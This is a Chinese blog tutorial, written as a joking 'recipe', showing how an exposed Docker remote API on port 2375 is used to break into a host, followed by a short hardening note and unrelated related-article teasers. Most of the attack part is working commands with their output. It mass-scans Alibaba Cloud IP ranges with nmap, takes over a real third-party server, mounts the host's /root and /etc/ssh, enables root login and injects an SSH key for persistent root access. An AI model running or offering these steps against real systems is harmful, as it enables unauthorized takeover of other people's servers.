Docker暴露2375端口导致服务器被攻击问题及解决方法
相信了解过docker remote API的同学对2375端口都不陌生了，2375是docker远程操控的默认端口，通过这个端口可以直接对远程的docker daemon进行操作。
当$HOST主机以docker daemon -H=0.0.0.0:2375方式启动daemon时，可以在外部机器对$HOST的docker daemon进行直接操作：
docker -H tcp://$HOST:2375 ps
好，说说如何“入侵”，怎么通过这个端口入侵宿主机呢？
这个应该要从几个点说起吧：
1. docker对user namespace没有做隔离，也就是说，容器内部的root用户就是宿主机的root用户，一旦挂载目录，就可以在容器内部以宿主机的root用户身份对挂载的文件系统随意修改了。
- docker服务拥有很高的执行权利(相当于root)，并且在docker用户组下的普通用户不需要任何其他验证就可以执行docker run等命令。
- 暴露的docker remote API端口如果没有启动ssl验证的话，任何能连通到这台docker宿主机的的机器都可以随意操作这台docker宿主机的docker daemon（docker run、docker ps、docker rm等等这些命令都不在话下）。
结合以上3点，就基本具备入侵docker宿主机的条件了
讲得似乎有点悬，不多说，直接拿一个活鲜鲜的例子来讲吧：
(请允许我用最近新学的一道菜将流程带过 ╮(￣▽￣)╭ )
秘制红烧肉(docker版)
材料：一整块一整块的“5花”IP段，越肥越好（小白用户越多越好）
配料：nmap，docker
step 1: 扫描2375端口
怎么扫？我选用的是简单易用的黑客必备神器nmap了。
扫哪里呢？我选的目标是aliyun的IP段，百度得知：
42.96.128.0/17 Alibaba (Beijing) Technology Co., Ltd. China 42.120.0.0/16 Aliyun Computing Co., LTD China 42.121.0.0/16 Aliyun Computing Co., LTD China 42.156.128.0/17 Aliyun Computing Co., LTD China 110.75.0.0/16 Asia Pacific Network Information Centre China 110.76.0.0/19 Ali Technology Co., Ltd China 110.76.32.0/20 Aliyun Computing Co., LTD China 110.173.192.0/20 HiChina Web Solutions (Beijing) Limited China 110.173.208.0/20 HiChina Web Solutions (Beijing) Limited China 112.124.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 112.127.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 114.215.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 115.28.0.0/16 HiChina Web Solutions (Beijing) Limited China 115.29.0.0/16 HiChina Web Solutions (Beijing) Limited China 115.124.16.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 115.124.20.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 115.124.24.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.38.208.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.38.216.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 119.42.224.0/20 Alibaba (China) Technology Co., Ltd. China 119.42.242.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China 119.42.244.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.16.0/21 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.24.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.0.28.0/22 Hangzhou Alibaba Advertising Co.,Ltd. China 121.196.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.197.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.198.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 121.199.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 140.205.0.0/16 Aliyun Computing Co., LTD China 203.209.250.0/23 Hangzhou Alibaba Advertising Co.,Ltd. China 218.244.128.0/19 Hangzhou Alibaba Advertising Co.,Ltd. China 223.4.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.5.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.5.5.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China 223.6.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd. China 223.6.6.0/24 Hangzhou Alibaba Advertising Co.,Ltd. China 223.7.0.0/16 Hangzhou Alibaba Advertising Co.,Ltd.
我不生产IP，我只是百度的搬运工，别问我这些IP从那来，我也想知道~ >.<
将上面IP内容保存在一个文件中，如 aliyun.list
开始扫描：
cat aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --open
# 简单解释一下命令：
# awk 将第一列IP网段过滤出来
# xargs 将过滤出来的IP一个一个的分次送给nmap，-I {} 是指使用{}来代替传送的参数
# ...
# Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-05 09:57 CST
# Nmap scan report for 42.96.MOSAIC.MOSAIC
# Host is up (0.070s latency).
# PORT STATE SERVICE
# 2375/tcp open docker
# ...
不到两分钟，第一块42.96.MOSAIC.MOSAIC（五花肉已打码） “五花肉”选好了，来吧~
step 2: 测试2375的直接控制权
docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps # CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS # 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" 9 days ago Up 3 days 0.0.0.0:9009->80 # f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" 9 days ago Up 3 days 8080/tcp, 28015/ # 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" 10 days ago Up 3 days 0.0.0.0:500->500 # af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" 3 weeks ago Up 3 days 443/tcp, 0.0.0.0 # ...
这个服务器的owner也太配合了(⊙ο⊙)，ps直接看到内容，说明这个主机的2375是没有ssl验证的，基本满足入侵要求。
“五花”洗好，切好，准备下锅~
step 3: 远程启动自己的容器
拿到了docker的控制权能做什么呢？拿到了就呵呵了~
# images 看看本地已有的镜像 # docker -H tcp://42.96.MOSAIC.MOSAIC:2375 images # ... # swarm latest 47dc182ea74b 4 weeks ago 19.32 MB # jwilder/nginx-proxy latest 203b20631e41 4 weeks ago 255.6 MB # ubuntu latest c5f1cf30c96b 4 weeks ago 120.8 MB # shipyard/shipyard latest ba426f0944bc 5 weeks ago 58.92 MB # ...
省略了一部分输出，镜像还蛮多的，就选个ubuntu吧
# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 run --rm -it --entrypoint bash -v /root:/tmp/root -v /etc/ssh:/tmp/ssh_etc -v /var/log:/tmp/log ubuntu
看到这步，相信对ssh有一些了解的同学应该就明白了
step 4: ssh pub key 注入
在刚刚启动的容器中先看看 /tmp/ssh_etc/sshd_config (就是宿主机的/etc/ssh/sshd_config) 的PermitRootLogin字段。如果是no就改成yes，允许root通过ssh登录
然后在你的机器上生成一对新的pub key（已经有ssh key的也建议生成一个新的，不要使用自己日常使用的ssh pub key）
# 使用 ssh-keygen生成 ssh-keygen -t rsa -C "hello@world.com" # 执行命令后的提示Enter file in which to save the key要看好，不要把自己的ssh key覆盖了，可以选着/tmp/id_rsa # 其他提示enter到底即可
继续，注入ssh pub key，回到刚刚启动的容器执行
cat >> /tmp/root/.ssh/authorized_keys <<EOF >ssh-rsa AAA.... # 这里粘贴你刚刚在自己机器生成的/tmp/id_rsa.pub >EOF # 如果/tmp/root/.ssh目录不存在，就直接创建
八角香叶生抽老抽醋都加上，中火烹饪，准备出锅~
step 5: 登入服务器
# ssh -i 指定秘钥登录 ssh -i /tmp/id_rsa root@42.96.MOSAIC.MOSAIC # Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64) # # * Documentation: https://help.ubuntu.com/ # # Welcome to aliyun Elastic Compute Service! # # Last login: Fri Jun 3 01:38:07 2016 from 120.85.MOSAIC.MOSAIC # manpath: can't set the locale; make sure $LC_* and $LANG are correct # root@iZ28p9b7e***:~# # ...
大火收汁，起锅!
郑重声明
以上教程仅为交流学习之用，42.96.MOSAIC.MOSAIC 服务器上的id_rsa.pub在制作完本教程后已主动清除，并在服务上留言告知。
如果你一不小心也发现了可用的2375端口，希望也能点到即止，误做他用，或者发现其他入侵漏洞，可以和大家交流学习。
2375是docker漏洞吗？
非也！2375直接裸露地暴露在公网上纯属是用户习惯或者偷懒的问题，2375可以在相对安全的内部网络中方便测试使用，并不适合使用在投入到生产环境中。
docker官网第一篇文档quick start上有句话是这样子的：
Warning: Changing the default docker daemon binding to a TCP port or
Unix docker user group will increase your security risks by allowing
non-root users to gain root access on the host. Make sure you control
access to docker. If you are binding to a TCP port, anyone with
access to that port has full Docker access; so it is not advisable
on an open network.
已经Warning告知：如果将daemon直接暴露在一个TCP端口，将可能会被以非root用户去获取宿主机的root权限。其实上面的说提到的服务器之所以这么容器被入侵，也正是这个原因。
何以防之
那么，问题来了，如果想用Remote API，又不想有被入侵的风险，怎么办呢？
docker官方文档上介绍了一种通过CA认证方式使用Remote API
具体可以参考：Protect the Docker daemon socket
(等理解了再补一篇博客吧，就姑且让我以一个链接的形式带过吧O.O)
配置过程还算是比较简单的，下面放一张图，展示配置SSL后的效果：
到此这篇关于Docker暴露2375端口导致服务器被攻击问题及解决方法的文章就介绍到这了,更多相关docker 暴露2375 端口内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们！
相关推荐
-
docker容器启动后添加端口映射
概要 网上有许多人在查找关于容器启动后能否进行端口映射的问题.我曾经也问过度娘,很遗憾我没找到.本文就这个问题给出一个解决方法,旨在抛砖引玉.本文的思路是使用iptables的端口转发,这也是docker端口映射内部的实现机制,只不过我是显示地写出来罢了,为的就是让查找这个问题的人对docker的端口映射有一个直观的了解. 结论:容器启动后是可以添加端口映射的,但不建议手工添加,最好使用docker提供的功能. 步骤 创建两个容器并进行了端口映射,结果如图所示: 假如,我start一个容器,其内
-
Docker 给运行中的容器设置端口映射的方法
一.概念 Docker 端口映射即映射容器内应用的服务端口到本机宿主机器. 二.实现 当容器中运行一些网络应用,要让外部访问这些应用时,可以通过 -P 或 -p 参数两种方式来指定端口映射. 1. 随机映射 使用 -P 参数时,Docker 会随机映射一个端口到内部容器开放的网络端口,如下开启一个 nginx 服务: $ docker run -d -P nginx e93349d539119dc48dc841e117f6388d6afa6a6065b75a5b4aedaf5fb2a051fc
-
Docker 端口映射详细介绍
Docker 端口映射: 最近抽空,把Docker 端口映射的资料整理了一下,以便后续项目应用,大家也可以参考下. # Find IP address of container with ID <container_id> 通过容器 id 获取 ip $ sudo docker inspect <container_id> | grep IPAddress | cut -d '"' -f 4 无论如何,这些 ip 是基于本地系统的并且容器的端口非本地主机是访问不到的.此外
-
Docker端口映射实现网络访问的方法
Docker运行容器之后却发现没IP,没端口,那要如何访问容器呢? 下面我来介绍下docker通过端口映射来实现网络访问 一.从外部访问容器应用 在启动容器的时候,如果不指定对应参数,在容器外部是无法通过网络来访问容器内的网络应用和服务的. 当容器中运行一些网络应用,要让外部访问这些应用时,可以通过-P或-p参数指定端口映射. 先来说说p和P吧 -p 可以指定要映射的端口,并且,在一个指定端口上只可以绑定一个容器 -P 它会随机映射一个端口至容器内部开放的网络端口(范围不详,似乎都上万) 先申明
-
Docker容器绑定外部IP和端口的方法
Docker允许通过外部访问容器或者容器之间互联的方式来提供网络服务. 以下操作通过myfirstapp镜像模拟,如何制作myfirstapp镜像请点击此处. 1.外部访问容器 容器启动之后,容器中可以运行一些网络应用,通过-p或-P参数来指定端口映射. a.用-P(大写)标记时,docker会随机选择一个端口映射到容器内部开放的网络端口上. $ docker run -d -P myfirstapp python app.py $ docker ps CONTAINER ID IMAGE CO
-
详解Docker 端口映射与容器互联
1.端口映射实现访问容器 1.从外部访问容器应用 在启动容器的时候,如果不指定对应的参数,在容器外部是无法通过网络来访问容器内部的网络应用和服务的. 当容器中运行一些网络应用,要让外部访问这些应用时,可以通过-p或-P参数来指定端口映射.当使用-P(大写P)标记时,Docker会随机映射一个端口到内部容器开放的网络端口(端口范围在Linux系统使用的端口之外,一般都过万): [root@docker ~]# docker run -d --name nginx_1 -P nginx:latest
-
Docker暴露2375端口导致服务器被攻击问题及解决方法
相信了解过docker remote API的同学对2375端口都不陌生了,2375是docker远程操控的默认端口,通过这个端口可以直接对远程的docker daemon进行操作. 当$HOST主机以docker daemon -H=0.0.0.0:2375方式启动daemon时,可以在外部机器对$HOST的docker daemon进行直接操作: docker -H tcp://$HOST:2375 ps 好,说说如何"入侵",怎么通过这个端口入侵宿主机呢? 这个应该要从几个点说起
-
Docker动态添加端口不需要重新建立镜像的方法
Docker容器在运行期间有时可能会需要修改或者添加暴露的端口,但是有时候运行的容器又不想再另外建立一个新的镜像.这时可以找到docker容器的存放地方,然后直接修改配置文件. 我们的容器都是保存在/var/lib/docker/containers下面. 我的容器是在/var/lib/docker/containers/797f3d0cb82aec7d1c355c7461b5bc5a050c1c0cbbe5d813ede0edad061e6632 每个容器ID对应一个hash_id,可以看到n
-
Docker日志太多导致磁盘占满的处理方法
我有一台服务器上面部署了多个docker容器, 并且每个docker容器都往stderr中源源不断的输出日志,导致今天磁盘被占满了.搜索了一下,docker官方网站上提供了一篇解决方案的 文章 . Docker容器在启动/重启的时候会往 /var/lib/docker 中写东西,如果你在启动docker容器遇到 No space left on device 的问题,可以按照下面的步骤进行清理相关的日志操作. 1. 对 /var/lib/docker/containers 下的文件夹进行排序,看
-
在CentOS 7 上为docker配置端口转发以兼容firewall的解决方法
在CentOS 7上当我们以类似下列命令将主机端口与容器端口映射时可能遇到无法访问容器服务的问题 docker run --name web_a -p 192.168.1.250:803:80 -d web_a:beta1.0.0 . 由于docker在执行此命令时,是向iptables注入了一条规则将主机803映射到容器80端口,但是CentOS 7中以firewalld服务替代了iptables.因此,上述命令的端口映射不会生效. 解决方法:首先观察一下主机上的网卡信息,确认增加了一个doc
-
服务器大量php-cgi.exe进程导致CPU占用100%的解决方法
windows 2003+IIS6中优化fastcgi配置文件fcgiext.ini,减少php-cgi.exe进程数量和所占内存大小 本来听说fastcgi比isapi好就在服务器中装上了,配置环境为windows 2003+IIS6+fastcgi(FCGI)+PHP5.2.17,经过与很长一段时间观察,发现工作在FastCGI模式下的PHP会占用越来越多的内存,访问量稍微多点php-cgi进程就多了N个,同样情况下能比原来用isapi模式的时候多出几百M,我的服务器内存只有2G伤不起啊.
-
SQL Server作业失败：无法确定所有者是否有服务器访问权限的解决方法
一.错误提示 : 该作业失败. 无法确定所有者 WIN-3TH1KNIT12D\Administrator (拥有作业 Database_Backup.step1)是否有服务器访问权限 (原因: 无法获取有关 Windows NT 组/用户 'WIN-3TH1KNIT12D\Administrator' 的信息,错误代码 0x534. [SQLSTATE 42000] (错误 15404)). 二.说明: 更改作业计划的所有者,不是数据库所有者 三.解决方法: 下面是其他网友的补充方法 下午准备
-
Serv-U 本地服务器密码错误的解决方法
服务器上的serv_u 点击本地服务器,输入了正确的密码但提示"本地服务器密码错误"的解决方法. 这类原因一般是 Serv-U程序错误,或密码被黑客修改了,注意检查后门. 修复方法: 这个是Serv-u的本地管理密码,如果你忘了,先停掉Serv-U服务,再去Serv-u的安装目录,找到ServUDaemon.ini这个文件,有个local password的密码串,把等号后面加过密的密码删掉,再重新启动Serv-U服务,就没有密码了
-
php多次include后导致全局变量global失效的解决方法
本文实例讲述了php多次include后导致全局变量global失效的解决方法.分享给大家供大家参考.具体分析如下: 在多个文件中,文件一个接一个include,但最后一个文件里的函数使用global后却无法引用全局变量.例如: a.php文件: <?php $aa = 1; ?> b.php文件: <?php include a.php function show(){ global $aa; var_dump($aa); } ?> 显示:null; 这种失效是由于多种原因造成的
-
Android应用第一次安装成功点击“打开”后Home键切出应用后再点击桌面图标返回导致应用重启问题的解决方法
if((getIntent().getFlags() & Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT) != 0){ finish(); return; } 应用程序入口Activity的onCreate方法中加入上面的判断,完美解决应用程序多次重启问题. 应用程序入口Activity的onCreate方法中加入上面的判断,在setcontentview方法之前调用. 以上所述是小编给大家介绍的 Android应用第一次安装成功点击"打开"后Ho
-
Win10下 Redis启动 错误1067导致进程意外终止的解决方法
一.系统环境 操作系统:Windows10专业版 64位 Redis版本:redis-64.3.0.503 二.问题描述 1.命令行启动: redis-server redis.windows.conf 可以启动成功: 2.将Redis安装为Windows系统服务: redis-server --service-install redis.windows-service.conf --loglevel verbose 3.进入系统服务页面: Win + r打开运行命令框,services.msc